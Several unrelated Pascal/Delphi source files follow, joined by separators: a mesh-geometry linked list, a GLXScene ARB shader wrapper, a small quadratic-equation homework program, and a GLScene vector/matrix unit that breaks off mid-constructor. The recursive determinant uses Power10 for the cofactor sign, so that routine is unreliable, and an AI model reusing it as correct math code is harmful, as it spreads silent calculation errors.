constructor CMeshGeometryList.Create;
begin
Reset;
end;
destructor CMeshGeometryList.Destroy;
begin
Clear;
inherited Destroy;
end;
procedure CMeshGeometryList.Reset;
begin
Start := nil;
Last := nil;
Active := nil;
FCount := 0;
end;
// I/O
procedure CMeshGeometryList.LoadState(_State: PMeshGeometryBase);
begin
Active := _State;
end;
function CMeshGeometryList.SaveState:PMeshGeometryBase;
begin
Result := Active;
end;
// Add
procedure CMeshGeometryList.Add;
var
NewPosition : PMeshGeometryBase;
begin
New(NewPosition);
inc(FCount);
if Start <> nil then
begin
Last^.Next := NewPosition;
end
else
begin
Start := NewPosition;
Active := Start;
end;
Last := NewPosition;
end;
procedure CMeshGeometryList.Add(_type: integer);
var
NewPosition : PMeshGeometryBase;
begin
New(NewPosition);
Case(_Type) of
C_GEO_BREP:
begin
NewPosition^ := TMeshBRepGeometry.Create();
end;
C_GEO_BREP3:
begin
NewPosition^ := TMeshBRepGeometry.Create(3);
end;
C_GEO_BREP4:
begin
NewPosition^ := TMeshBRepGeometry.Create(4);
end;
end;
NewPosition^.Next := nil;
inc(FCount);
if Start <> nil then
begin
Last^.Next := NewPosition;
end
else
begin
Start := NewPosition;
Active := Start;
end;
Last := NewPosition;
end;
// Delete
procedure CMeshGeometryList.Delete;
var
Previous : PMeshGeometryBase;
begin
if Active <> nil then
begin
Previous := Start;
if Active = Start then
begin
Start := Start^.Next;
end
else
begin
while Previous^.Next <> Active do
begin
Previous := Previous^.Next;
end;
Previous^.Next := Active^.Next;
if Active = Last then
begin
Last := Previous;
end;
end;
Active^.Free;
Dispose(Active);
dec(FCount);
end;
end;
procedure CMeshGeometryList.Clear;
var
Garbage : PMeshGeometryBase;
begin
Active := Start;
while Active <> nil do
begin
Garbage := Active;
Active := Active^.Next;
Garbage^.Free;
dispose(Garbage);
end;
Reset;
end;
// Gets
function CMeshGeometryList.GetActive: PMeshGeometryBase;
begin
Result := Active;
end;
// Misc
procedure CMeshGeometryList.GoToNextElement;
begin
if Active <> nil then
begin
Active := Active^.Next;
end
end;
procedure CMeshGeometryList.GoToFirstElement;
begin
Active := Start;
end;
end.
|
//
// GLXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
TVXAsmShader is a wrapper for all ARB shaders
This component is only a template and has to be replaced with a
proper version by someone who uses ARB shaders more then me.
The history is logged in a former GLS version of the unit.
}
unit VXS.AsmShader;
interface
{$I VXScene.inc}
uses
System.Classes,
System.SysUtils,
VXS.OpenGL,
VXS.Context,
VXS.VectorGeometry,
VXS.VectorTypes,
VXS.Texture,
VXS.CustomShader,
VXS.RenderContextInfo;
type
TVXCustomAsmShader = class;
TVXAsmShaderEvent = procedure(Shader: TVXCustomAsmShader) of object;
TVXAsmShaderUnUplyEvent = procedure(Shader: TVXCustomAsmShader; var ThereAreMorePasses: Boolean) of object;
TVXAsmShaderParameter = class(TVXCustomShaderParameter)
private
protected
{
function GetAsVector1f: Single; override;
function GetAsVector1i: Integer; override;
function GetAsVector2f: TVector2f; override;
function GetAsVector2i: TVector2i; override;
function GetAsVector3f: TVector3f; override;
function GetAsVector3i: TVector3i; override;
function GetAsVector4f: TVector; override;
function GetAsVector4i: TVector4i; override;
procedure SetAsVector1f(const Value: Single); override;
procedure SetAsVector1i(const Value: Integer); override;
procedure SetAsVector2i(const Value: TVector2i); override;
procedure SetAsVector3i(const Value: TVector3i); override;
procedure SetAsVector4i(const Value: TVector4i); override;
procedure SetAsVector2f(const Value: TVector2f); override;
procedure SetAsVector3f(const Value: TVector3f); override;
procedure SetAsVector4f(const Value: TVector4f); override;
function GetAsMatrix2f: TMatrix2f; override;
function GetAsMatrix3f: TMatrix3f; override;
function GetAsMatrix4f: TMatrix4f; override;
procedure SetAsMatrix2f(const Value: TMatrix2f); override;
procedure SetAsMatrix3f(const Value: TMatrix3f); override;
procedure SetAsMatrix4f(const Value: TMatrix4f); override;
procedure SetAsTexture1D(const TextureIndex: Integer;
const Value: TVXTexture);
procedure SetAsTexture2D(const TextureIndex: Integer;
const Value: TVXTexture);
procedure SetAsTexture3D(const TextureIndex: Integer;
const Value: TVXTexture);
procedure SetAsTextureCube(const TextureIndex: Integer;
const Value: TVXTexture);
procedure SetAsTextureRect(const TextureIndex: Integer;
const Value: TVXTexture);
function GetAsCustomTexture(const TextureIndex: Integer;
const TextureTarget: Word): Cardinal; override;
procedure SetAsCustomTexture(const TextureIndex: Integer;
const TextureTarget: Word; const Value: Cardinal); override;
}
end;
TVXCustomAsmShader = class(TVXCustomShader)
private
FVPHandle: TVXVertexProgramHandle;
FFPHandle: TVXFragmentProgramHandle;
FGPHandle: TVXGeometryProgramHandle;
FOnInitialize: TVXAsmShaderEvent;
FOnApply: TVXAsmShaderEvent;
FOnUnApply: TVXAsmShaderUnUplyEvent;
protected
procedure ApplyShaderPrograms;
procedure UnApplyShaderPrograms;
procedure DestroyARBPrograms; virtual;
property OnApply: TVXAsmShaderEvent read FOnApply write FOnApply;
property OnUnApply: TVXAsmShaderUnUplyEvent read FOnUnApply write FOnUnApply;
property OnInitialize: TVXAsmShaderEvent read FOnInitialize write FOnInitialize;
procedure DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); override;
procedure DoApply(var rci: TVXRenderContextInfo; Sender: TObject); override;
function DoUnApply(var rci: TVXRenderContextInfo): Boolean; override;
procedure DoFinalize; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
function ShaderSupported: Boolean; override;
end;
TVXAsmShader = class(TVXCustomAsmShader)
published
property FragmentProgram;
property VertexProgram;
property GeometryProgram;
property OnApply;
property OnUnApply;
property OnInitialize;
property ShaderStyle;
property FailedInitAction;
end;
implementation
{ TVXCustomAsmShader }
procedure TVXCustomAsmShader.DoFinalize;
begin
inherited;
DestroyARBPrograms;
end;
procedure TVXCustomAsmShader.Assign(Source: TPersistent);
begin
inherited Assign(Source);
if Source is TVXCustomAsmShader then
begin
// Nothing here ...yet
end;
end;
constructor TVXCustomAsmShader.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
end;
destructor TVXCustomAsmShader.Destroy;
begin
DestroyARBPrograms;
inherited Destroy;
end;
procedure TVXCustomAsmShader.DestroyARBPrograms;
begin
FVPHandle.Free;
FVPHandle := nil;
FFPHandle.Free;
FFPHandle := nil;
FGPHandle.Free;
FGPHandle := nil;
end;
procedure TVXCustomAsmShader.DoApply(var rci: TVXRenderContextInfo; Sender: TObject);
begin
ApplyShaderPrograms();
if Assigned(FOnApply) then
FOnApply(Self);
end;
procedure TVXCustomAsmShader.DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject);
begin
if not ShaderSupported then
begin
Enabled := False;
HandleFailedInitialization;
end
else
begin
if VertexProgram.Enabled then
begin
if not Assigned(FVPHandle) then
FVPHandle := TVXVertexProgramHandle.CreateAndAllocate;
FVPHandle.LoadARBProgram(VertexProgram.Code.Text);
VertexProgram.Enabled := FVPHandle.Ready;
end;
if FragmentProgram.Enabled then
begin
if not Assigned(FFPHandle) then
FFPHandle := TVXFragmentProgramHandle.CreateAndAllocate;
FFPHandle.LoadARBProgram(FragmentProgram.Code.Text);
FragmentProgram.Enabled := FFPHandle.Ready;
end;
if GeometryProgram.Enabled then
begin
if not Assigned(FGPHandle) then
FGPHandle := TVXGeometryProgramHandle.CreateAndAllocate;
FGPHandle.LoadARBProgram(GeometryProgram.Code.Text);
GeometryProgram.Enabled := FGPHandle.Ready;
end;
Enabled := (FragmentProgram.Enabled or VertexProgram.Enabled or GeometryProgram.Enabled);
if Enabled then
begin
if Assigned(FOnInitialize) then
FOnInitialize(Self)
end;
end;
end;
function TVXCustomAsmShader.DoUnApply(var rci: TVXRenderContextInfo): Boolean;
begin
if Assigned(FOnUnApply) then
FOnUnApply(Self, Result)
else
Result := False;
UnApplyShaderPrograms();
end;
function TVXCustomAsmShader.ShaderSupported: Boolean;
begin
Result :=
(VertexProgram.Enabled) or
(FragmentProgram.Enabled) or
(GeometryProgram.Enabled);
end;
procedure TVXCustomAsmShader.ApplyShaderPrograms;
begin
if VertexProgram.Enabled then
begin
FVPHandle.Enable;
FVPHandle.Bind;
end;
if FragmentProgram.Enabled then
begin
FFPHandle.Enable;
FFPHandle.Bind;
end;
if GeometryProgram.Enabled then
begin
FGPHandle.Enable;
FGPHandle.Bind;
end;
end;
procedure TVXCustomAsmShader.UnApplyShaderPrograms;
begin
if VertexProgram.Enabled then
FVPHandle.Disable;
if FragmentProgram.Enabled then
FFPHandle.Disable;
if GeometryProgram.Enabled then
FGPHandle.Disable;
end;
initialization
RegisterClasses([TVXCustomAsmShader, TVXAsmShader]);
end.
|
uses crt;
var
a, b, x1, x2, x3, x4: real;
t: boolean;
function discriminant(a, b:real):real;
begin
discriminant := sqr(b)-a*4;
end;
procedure solX(b, d:real; var u1, u2:real);
begin
u1 := (-b+sqrt(d))/2;
u2 := (-b-sqrt(d))/2;
end;
begin
{Контрольные примеры:
1) Есть корни и удовлетворяют условию => a=2, b=1.97;
2) Есть корни, но не удовлетворяют условию => a=3, b= 1;
3) Нет корней первого уравнения => a=4, b=3;
4) Нет корней второго уравнения => a=2, b=3}
write('Введите a, b: ');
read(a, b);
solX(6.2, discriminant(a*a, 6.2), x1, x2);
writeln('x1=',x1:0:3, ' ', 'x2=', x2:0:3);
solX(a, discriminant(b-1, a), x3, x4);
writeln('x3=',x3:0:3, ' ', 'x4=', x4:0:3);
t := (x1>x3) and (x4>x2);
writeln(t);
end. |
//
// This unit is part of the GLScene Project, http://glscene.org
//
{
Defines vector types as advanced records.
History:
17/05/11 - PW - Creation.
The whole history is logged in previous version of the unit
}
unit VXS.Types;
interface
uses
System.Types,
System.SysUtils,
System.Rtti,
System.Math,
System.Math.Vectors,
VXS.VectorTypes;
type
TAbstractVector = array of Extended;
TAbstractMatrix = array of array of Extended;
TxQuaternion = record
private
FData: array[0..3] of Extended;
procedure SetElement(Index: Byte; Value: Extended);
function GetElement(Index: Byte): Extended;
public
constructor Create(Q: TAbstractVector);
class operator Multiply(Q1, Q2: TxQuaternion): TxQuaternion;
class operator Multiply(Q: TxQuaternion; Sc: Extended): TxQuaternion;
class operator Multiply(Scalar: Extended; Q: TxQuaternion): TxQuaternion;
class operator Implicit(V: TAbstractVector): TxQuaternion;
function Inv: TxQuaternion;
function TruncateSTI: TxQuaternion;
property Element[index: Byte]: Extended read GetElement
write SetElement; default;
end;
PxVector = ^TxVector;
TxVector = record
private
FData: TAbstractVector;
FCount: Word;
procedure SetElement(Index: Word; Value: Extended);
function GetElement(Index: Word): Extended;
procedure CheckUnique;
public
constructor Create(ElementsCount: Word); overload;
constructor Create(V: TAbstractVector); overload;
class operator Add(V1, V2: TxVector): TxVector;
class operator Add(V: TxVector; Scalar: Extended): TxVector;
class operator Add(Scalar: Extended; V: TxVector): TxVector;
class operator Subtract(V1, V2: TxVector): TxVector;
class operator Subtract(Scalar: Extended; V: TxVector): TxVector;
class operator Subtract(V: TxVector; Scalar: Extended): TxVector;
class operator Multiply(V1, V2: TxVector): TxVector;
class operator Multiply(V: TxVector; Scalar: Extended): TxVector;
class operator Multiply(Scalar: Extended; V: TxVector): TxVector;
class operator Divide(V: TxVector; Scalar: Extended): TxVector;
class operator Divide(V1, V2: TxVector): TxVector;
class operator Implicit(V: TAbstractVector): TxVector;
function Norm: Extended;
function SumOfSquares: Extended;
function SumOfElments: Extended;
function TruncateSTI: TxVector;
function ToQuat: TxQuaternion;
procedure Fill(Value: Extended);
function ScalarMult(V: TxVector): Extended;
property Count: Word read FCount;
property Elements[index: Word]: Extended read GetElement
write SetElement; default;
end;
PxMatrix = ^TxMatrix;
TxMatrix = record
private
FData: TAbstractMatrix;
FRowsCount: Word;
FColsCount: Word;
procedure SetElement(Row, Col: Word; Value: Extended);
function GetElement(Row, Col: Word): Extended;
function GetRow(Row: Word): TxVector;
procedure SetRow(Row: Word; Value: TxVector);
function GetCol(Col: Word): TxVector;
procedure SetCol(Col: Word; Value: TxVector);
function Del(A: TxMatrix; I, J: Integer; M: Integer): TxMatrix;
function Det(A: TxMatrix; M: Integer): Extended;
procedure CheckUnique;
public
constructor Create(RowsCount, ColsCount: Word); overload;
constructor CreateDiag(Dim: Word; Value: Extended = 1.0);
constructor Create(M: TAbstractMatrix); overload;
class operator Add(M1, M2: TxMatrix): TxMatrix;
class operator Subtract(M1, M2: TxMatrix): TxMatrix;
class operator Multiply(M1, M2: TxMatrix): TxMatrix;
class operator Multiply(M: TxMatrix; V: TxVector): TxVector;
class operator Multiply(V: TxVector; M: TxMatrix): TxVector;
class operator Multiply(M: TxMatrix; Scalar: Extended): TxMatrix;
class operator Multiply(Scalar: Extended; M: TxMatrix): TxMatrix;
class operator Multiply(M: TxMatrix; Q: TxQuaternion): TxQuaternion;
class operator Implicit(M: TAbstractMatrix): TxMatrix;
function Transp: TxMatrix;
function Inv: TxMatrix;
function ToQuat: TxQuaternion;
function Determinant: Extended;
function TruncateSTI: TxMatrix;
function Trace: Extended; // sum on diagonal elements
procedure Fill(Scalar: Extended);
property RowCount: Word read FRowsCount;
property ColCount: Word read FColsCount;
property Row[Row: Word]: TxVector read GetRow write SetRow;
property Col[Col: Word]: TxVector read GetCol write SetCol;
property Elements[Row, Col: Word]: Extended read GetElement
write SetElement; default;
end;
TxQuatHelper = record helper for TxQuaternion
function ToMatrix: TxMatrix;
end;
TxVecHelper = record helper for TxVector
function ToDiagMatrix: TxMatrix;
end;
TxDim = class(TCustomAttribute)
private
FRowCount: Integer;
FColCount: Integer;
public
constructor Create(ARowCount: Integer; AColCount: Integer = 0); overload;
property RowCount: Integer read FRowCount;
property ColCount: Integer read FColCount;
end;
function TxVec(V: TAbstractVector): TxVector;
function TxMat(M: TAbstractMatrix): TxMatrix;
function TxQuat(Q: TAbstractVector): TxQuaternion;
procedure Init(Obj, TypeInfoOfObj: Pointer; Offset: Integer = 0);
//-----------------------
// Point types
//-----------------------
type
TxScalarValue = Single;
TxScalarField = function(X, Y, Z: Single): TxScalarValue;
// If data are made on integer XYZ index
TxScalarFieldInt = function(iX, iY, iZ: Integer): TxScalarValue of object;
TxVertex = record
P, N: TVector3f; //Point and Normal
Density: Single;
end;
TxFace = record
Normal: TVector3f;
V1: TVector3f; // vertex 1
V2: TVector3f; // vertex 2
V3: TVector3f; // vertex 3
Padding: array [0 .. 1] of Byte;
end;
PxPoint2D = ^TxPoint2D;
TxPoint2D = record
X: Single;
Y: Single;
public
function Create(X, Y : Single): TxPoint2D;
procedure SetPosition(const X, Y : Single);
function Add(const APoint2D: TxPoint2D): TxPoint2D;
function Length: Single; //distance to origin
function Distance(const APoint2D : TxPoint2D) : Single;
class function PointInCircle(const Point, Center: TxPoint2D;
const Radius: Integer):Boolean; static; inline;
procedure Offset(const ADeltaX, ADeltaY : Single);
end;
PxPoint3D = ^TxPoint3D;
TxPoint3D = record
X: Single;
Y: Single;
Z: Single;
public
function Create(X, Y, Z: Single): TxPoint3D;
procedure SetPosition(const X, Y, Z : Single);
function Add(const AGLPoint3D: TxPoint3D): TxPoint3D;
function Length: Single; //distance to origin
function Distance(const APoint3D : TxPoint3D) : Single;
procedure Offset(const ADeltaX, ADeltaY, ADeltaZ : Single);
end;
TxPoint2DArray = array of TxPoint2D;
TxPoint3DArray = array of TxPoint3D;
// Voxel types
TxVoxelStatus = (bpExternal, bpInternal);
TxVoxel = record
P: TVector3f;
Density: TxScalarValue;
Status: TxVoxelStatus;
end;
PxVoxel = ^TxVoxel;
TxVoxelData = array [0 .. (MaxInt shr 8)] of TxVoxel;
PxVoxelData = ^TxVoxelData;
//-----------------------
// Vector types
//-----------------------
TxVector2DType = array [0..1] of Single;
TxVector3DType = array [0..2] of Single;
TxVector2D = record
function Create(const AX, AY, AW : Single): TxVector2D;
function Add(const AVector2D: TxVector2D): TxVector2D;
function Length: Single;
function Norm: Single;
function Normalize: TxVector2D;
function CrossProduct(const AVector: TxVector2D): TxVector2D;
function DotProduct(const AVector: TxVector2D): Single;
case Integer of
0: (V: TxVector2DType;);
1: (X: Single;
Y: Single;
W: Single;)
end;
TxVector3D = record
function Create(const AX, AY, AZ, AW : Single): TxVector3D;
function Add(const AVector3D: TxVector3D): TxVector3D;
function Length: Single;
function Norm: Single;
function Normalize: TxVector3D;
function CrossProduct(const AVector3D: TVector3D): TVector3D;
function DotProduct(const AVector3D: TVector3D): Single; inline;
case Integer of
0: (V: TxVector3DType;);
1: (X: Single;
Y: Single;
Z: Single;
W: Single;)
end;
// Vector Arrays
TxVector2DArray = array of TxVector2D;
TxVector3DArray = array of TxVector3D;
//-----------------------
// Matrix types
//-----------------------
TxMatrix2DType = array[0..3] of TxVector2D;
{$NODEFINE TxMatrix2DType}
(*$HPPEMIT END OPENNAMESPACE*)
(*$HPPEMIT END 'typedef TxVector2D TxMatrix2DArray[4];'*)
(*$HPPEMIT END CLOSENAMESPACE*)
TxMatrix3DType = array[0..3] of TxVector3D;
{$NODEFINE TxMatrix3DType}
(*$HPPEMIT END OPENNAMESPACE*)
(*$HPPEMIT END 'typedef TxVector3D TxMatrix3DType[4];'*)
(*$HPPEMIT END CLOSENAMESPACE*)
TxMatrix2D = record
private
public
case Integer of
0: (M: TxMatrix2DType;);
1: (e11, e12, e13: Single;
e21, e22, e23: Single;
e31, e32, e33: Single);
end;
TxMatrix3D = record
private
public
case Integer of
0: (M: TxMatrix3DType;);
1: (e11, e12, e13, e14: Single;
e21, e22, e23, e24: Single;
e31, e32, e33, e34: Single;
e41, e42, e43, e44: Single);
end;
// Matrix Arrays
TxMatrix2DArray = array of TxMatrix2D;
TxMatrix3DArray = array of TxMatrix3D;
//-----------------------
// Polygon types
//-----------------------
TxPolygon2D = TxPoint2DArray;
TxPolygon3D = TxPoint3DArray;
{
TxPolygon3D = record
Vertices: array of TxPoint3D;
function Area;
end;
}
const
ClosedPolygon2D: TxPoint2D = (X: $FFFF; Y: $FFFF);
ClosedPolygon3D: TxPoint3D = (X: $FFFF; Y: $FFFF; Z: $FFFF);
type
PxVertexArray = ^TxVertexArray;
TxVertexArray = array [0 .. (MaxInt shr 8)] of TxVertex;
type
TxTriangle = record
v1, v2, v3: Integer;
///Vertices: array[0..2] of TxPoint3D;
///function Area;
end;
PxTriangleArray = ^TxTriangleArray;
TxTriangleArray = array [0 .. (MaxInt shr 8)] of TxTriangle;
//-----------------------
// Polyhedron types
//-----------------------
type
TxPolyhedron = array of TxPolygon3D;
{
TxPolyhedron = record
Facets: array of TxPolygon3D;
function NetLength;
function Area;
function Volume;
end;
}
//--------------------------
// Mesh simple record types
//--------------------------
type
TxMesh2DVertex = record
X, Y: Single;
NX, NY: Single;
tU, tV: Single;
end;
TxMesh3DVertex = packed record
X, Y, Z: Single;
NX, NY, NZ: Single;
tU, tV: Single;
end;
TxMesh2D = array of TxMesh2DVertex;
TxMesh3D = array of TxMesh3DVertex;
//--------------------------
// Quaternion record types
//--------------------------
type
TxQuaternion3D = record
ImPart: TxVector3D;
RePart: Single;
end;
TxQuaternionArray = array of TxQuaternion3D;
type
TxBox = record
ALeft, ATop, ANear, ARight, ABottom, AFar: Single;
end;
const
sWRONG_ELEMENT = 'Wrong element';
sWRONG_SIZE = 'Wrong size';
sNOT_QUAD = 'Matrix not quadratic';
sSINGULAR = 'Singular matrix founded';
//---------------------------------------------------------------
implementation
//---------------------------------------------------------------
function TxVec(V: TAbstractVector): TxVector;
begin
Result.Create(V);
end;
function TxMat(M: TAbstractMatrix): TxMatrix;
begin
Result.Create(M);
end;
function TxQuat(Q: TAbstractVector): TxQuaternion;
begin
Result.Create(Q);
end;
{$POINTERMATH ON}
function NotUnique(PArr: PCardinal): Boolean;
begin
Result := (PArr - 2)^ > 1;
end;
{ TxMatrix }
// Removing i-th row and j-th col
function TxMatrix.Del(A: TxMatrix; I, J: Integer; M: Integer): TxMatrix;
var
K, G: Integer;
begin
for G := I to M - 1 do
for K := 1 to M do
A[G, K] := A[G + 1, K];
for G := J to M - 1 do
for K := 1 to M - 1 do
A[K, G] := A[K, G + 1];
Result := A;
end;
// Recursive calculation of det for matrix
function TxMatrix.Det(A: TxMatrix; M: Integer): Extended;
var
I: Integer;
Buf: Extended;
begin
Buf := 0;
if M = 1 then
Buf := A[1, 1]
else
for I := 1 to M do
Buf := Buf + Power10(-1, I + 1) * A[I, 1] *
Det(Del(A, I, 1, M), M - 1);
Result := Buf;
end;
class operator TxMatrix.Add(M1, M2: TxMatrix): TxMatrix;
var
I, J: Integer;
begin
if (M1.FRowsCount <> M2.FRowsCount) or (M1.FColsCount <> M2.FColsCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(M1.FRowsCount, M1.FColsCount);
for I := 0 to M1.FRowsCount - 1 do
for J := 0 to M1.FColsCount - 1 do
Result.FData[I, J] := M1.FData[I, J] + M2.FData[I, J];
end;
procedure TxMatrix.CheckUnique;
var
I: Integer;
begin
if NotUnique(@FData) then
begin
FData := Copy(FData);
for I := 0 to Pred(FRowsCount) do
FData[i] := Copy(FData[i]);
end;
end;
constructor TxMatrix.Create(RowsCount, ColsCount: Word);
begin
FRowsCount := RowsCount;
FColsCount := ColsCount;
FData := nil;
SetLength(FData, FRowsCount, FColsCount);
end;
constructor TxMatrix.Create(M: TAbstractMatrix);
var
I: Integer;
begin
FRowsCount := Length(M);
FColsCount := Length(M[0]);
FData := nil;
SetLength(FData, FRowsCount, FColsCount);
for I := 0 to Pred(FRowsCount) do
begin
if Length(M[I]) <> FColsCount then
raise EMathError.Create('Wrong matrix proportions');
FData[I] := Copy(M[I]);
end;
end;
constructor TxMatrix.CreateDiag(Dim: Word; Value: Extended = 1.0);
var
I: Integer;
begin
Create(Dim, Dim);
for I := 0 to Dim - 1 do
FData[I, I] := Value;
end;
function TxMatrix.Determinant: Extended;
begin
if (FRowsCount <> FColsCount) then
raise EMathError.Create(sNOT_QUAD);
Result := Det(Self, FRowsCount);
end;
procedure TxMatrix.Fill(Scalar: Extended);
var
I, J: Integer;
begin
if Scalar = 0 then
begin
FData := nil;
SetLength(FData, FRowsCount, FColsCount);
end
else
for I := 0 to FRowsCount - 1 do
for J := 0 to FColsCount - 1 do
FData[I, J] := Scalar;
end;
function TxMatrix.GetCol(Col: Word): TxVector;
var
I: Integer;
begin
if (Col = 0) or (Col > FColsCount) then
raise EMathError.Create(sWRONG_ELEMENT);
Result.Create(FRowsCount);
for I := 0 to FRowsCount - 1 do
Result.FData[I] := FData[I, Col - 1];
end;
function TxMatrix.GetElement(Row, Col: Word): Extended;
begin
{$R+}
Result := FData[Pred(Row), Pred(Col)];
end;
function TxMatrix.GetRow(Row: Word): TxVector;
var
I: Integer;
begin
if (Row = 0) or (Row > FRowsCount) then
raise EMathError.Create(sWRONG_ELEMENT);
Result.Create(FColsCount);
for I := 0 to FColsCount - 1 do
Result.FData[I] := FData[Row - 1, I];
end;
class operator TxMatrix.Implicit(M: TAbstractMatrix): TxMatrix;
begin
Result.Create(M);
end;
function TxMatrix.Inv: TxMatrix;
var
Ipiv, Indxr, Indxc: array of Integer;
DimMat, I, J, K, L, N, ICol, IRow: Integer;
Big, Dum, Pivinv: Extended;
begin
// Jordan algorithm
if (FRowsCount <> FColsCount) then
raise EMathError.Create(sNOT_QUAD);
Result := Self;
DimMat := FRowsCount;
SetLength(Ipiv, DimMat);
SetLength(Indxr, DimMat);
SetLength(Indxc, DimMat);
IRow := 1;
ICol := 1;
for I := 1 to DimMat do
begin
Big := 0;
for J := 1 to DimMat do
if (Ipiv[J - 1] <> 1) then
for K := 1 to DimMat do
if (Ipiv[K - 1] = 0) then
if (Abs(Result[J, K]) >= Big) then
begin
Big := Abs(Result[J, K]);
IRow := J;
ICol := K;
end;
Ipiv[ICol - 1] := Ipiv[ICol - 1] + 1;
if (IRow <> ICol) then
for L := 1 to DimMat do
begin
Dum := Result[IRow, L];
Result[IRow, L] := Result[ICol, L];
Result[ICol, L] := Dum;
end;
Indxr[I - 1] := IRow;
Indxc[I - 1] := ICol;
if Result[ICol, ICol] = 0 then
raise EMathError.Create(sSINGULAR);
Pivinv := 1.0 / Result[ICol, ICol];
Result[ICol, ICol] := 1.0;
for L := 1 to DimMat do
Result[ICol, L] := Result[ICol, L] * Pivinv;
for N := 1 to DimMat do
if (N <> ICol) then
begin
Dum := Result[N, ICol];
Result[N, ICol] := 0.0;
for L := 1 to DimMat do
Result[N, L] := Result[N, L] - Result[ICol, L] * Dum;
end;
end;
for L := DimMat downto 1 do
if (Indxr[L - 1] <> Indxc[L - 1]) then
for K := 1 to DimMat do
begin
Dum := Result[K, Indxr[L - 1]];
Result[K, Indxr[L - 1]] := Result[K, Indxc[L - 1]];
Result[K, Indxc[L - 1]] := Dum;
end;
end;
function TxMatrix.ToQuat: TxQuaternion;
begin
Result[0] := 0.5 * Sqrt(Abs(1 + Self[1,1] + Self[2,2] + Self[3,3]));
Result[1] := 0.5 * Sqrt(Abs(1 + Self[1,1] - Self[2,2] - Self[3,3]));
if Self[3,2] < Self[2,3] then
Result[1] := -Result[1];
Result[2] := 0.5 * Sqrt(Abs(1 - Self[1,1] + Self[2,2] - Self[3,3]));
if Self[1,3] < Self[3,1] then
Result[2] := -Result[2];
Result[3] := 0.5 * Sqrt(Abs(1 - Self[1,1] - Self[2,2] + Self[3,3]));
if Self[2,1] < Self[1,2] then
Result[3] := -Result[3];
end;
class operator TxMatrix.Multiply(M: TxMatrix; Q: TxQuaternion): TxQuaternion;
var
I, J: Integer;
begin
if (M.FRowsCount <> 4) or (M.FRowsCount <> M.FColsCount) then
raise EMathError.Create(sWRONG_SIZE);
FillChar(Result.FData, SizeOf(Result.FData), 0);
for I := 0 to 3 do
for J := 0 to 3 do
Result.FData[I] := Result.FData[I] + M.FData[I, J] * Q.FData[J];
end;
class operator TxMatrix.Multiply(Scalar: Extended; M: TxMatrix): TxMatrix;
begin
Result := M * Scalar;
end;
class operator TxMatrix.Multiply(V: TxVector; M: TxMatrix): TxVector;
var
I, J: Integer;
begin
if (V.FCount <> M.FRowsCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(V.FCount);
for I := 0 to V.FCount - 1 do
for J := 0 to V.FCount - 1 do
Result.FData[I] := Result.FData[I] + V.FData[J] * M.FData[J, I];
end;
class operator TxMatrix.Multiply(M: TxMatrix; V: TxVector): TxVector;
var
I, J: Integer;
begin
if (M.FColsCount <> V.FCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(M.FRowsCount);
for I := 0 to M.FRowsCount - 1 do
for J := 0 to M.FColsCount - 1 do
Result.FData[I] := Result.FData[I] + M.FData[I, J] * V.FData[J];
end;
class operator TxMatrix.Multiply(M: TxMatrix; Scalar: Extended): TxMatrix;
var
I, J: Integer;
begin
Result.Create(M.FRowsCount, M.FColsCount);
for I := 0 to M.FRowsCount - 1 do
for J := 0 to M.FColsCount - 1 do
Result.FData[I, J] := M.FData[I, J] * Scalar;
end;
class operator TxMatrix.Multiply(M1, M2: TxMatrix): TxMatrix;
var
I, J, K: Integer;
begin
if (M1.FColsCount <> M2.FRowsCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(M1.FRowsCount, M2.FColsCount);
for I := 0 to M1.FRowsCount - 1 do
for J := 0 to M2.FColsCount - 1 do
for K := 0 to M1.FColsCount - 1 do
Result.FData[I, J] := Result.FData[I, J] + M1.FData[I, K] * M2.FData[K, J];
end;
procedure TxMatrix.SetCol(Col: Word; Value: TxVector);
var
I: Integer;
begin
if (Col = 0) or (Col > FColsCount) then
raise EMathError.Create(sWRONG_ELEMENT);
if (Value.Count <> FRowsCount) then
raise EMathError.Create(sWRONG_SIZE);
for I := 0 to FRowsCount - 1 do
FData[I, Col - 1] := Value.FData[I];
end;
procedure TxMatrix.SetElement(Row, Col: Word; Value: Extended);
begin
{$R+}
CheckUnique;
FData[Pred(Row), Pred(Col)] := Value;
end;
procedure TxMatrix.SetRow(Row: Word; Value: TxVector);
var
I: Integer;
begin
if (Row = 0) or (Row > FRowsCount) then
raise EMathError.Create(sWRONG_ELEMENT);
if (Value.Count <> FColsCount) then
raise EMathError.Create(sWRONG_SIZE);
for I := 0 to FColsCount - 1 do
FData[Row - 1, I] := Value.FData[I];
end;
class operator TxMatrix.Subtract(M1, M2: TxMatrix): TxMatrix;
var
I, J: Integer;
begin
if (M1.FColsCount <> M2.FColsCount) or (M1.FRowsCount <> M2.FRowsCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(M1.FRowsCount, M1.FColsCount);
for I := 0 to M1.FRowsCount - 1 do
for J := 0 to M1.FColsCount - 1 do
Result.FData[I, J] := M1.FData[I, J] - M2.FData[I, J];
end;
function TxMatrix.Trace: Extended;
var
I: Integer;
begin
Result := 0;
if FColsCount <> FRowsCount then
raise EMathError.Create(sNOT_QUAD);
for I := 0 to FColsCount - 1 do
Result := Result + FData[I, I];
end;
function TxMatrix.Transp: TxMatrix;
var
I, J: Integer;
begin
Result.Create(FColsCount, FRowsCount);
for I := 0 to FColsCount - 1 do
for J := 0 to FRowsCount - 1 do
Result.FData[I, J] := FData[J, I];
end;
function TxMatrix.TruncateSTI: TxMatrix;
const
Int32Max: Double = Integer.MaxValue;
Int32Min: Double = Integer.MinValue;
var
I, J: Integer;
begin
Result.Create(FRowsCount, FColsCount);
for I := 0 to FRowsCount - 1 do
for J := 0 to FColsCount - 1 do
begin
if (FData[I, J] >= Int32Min) and (FData[I, J] <= Int32Max) then
Result.FData[I, J] := Trunc(FData[I, J])
else
if (FData[I, J] < Int32Min) then
Result.FData[I, J] := Int32Min
else
Result.FData[I, J] := Int32Max;
end;
end;
{ TxVector }
constructor TxVector.Create(V: TAbstractVector);
begin
FCount := Length(V);
FData := Copy(V);
end;
constructor TxVector.Create(ElementsCount: Word);
begin
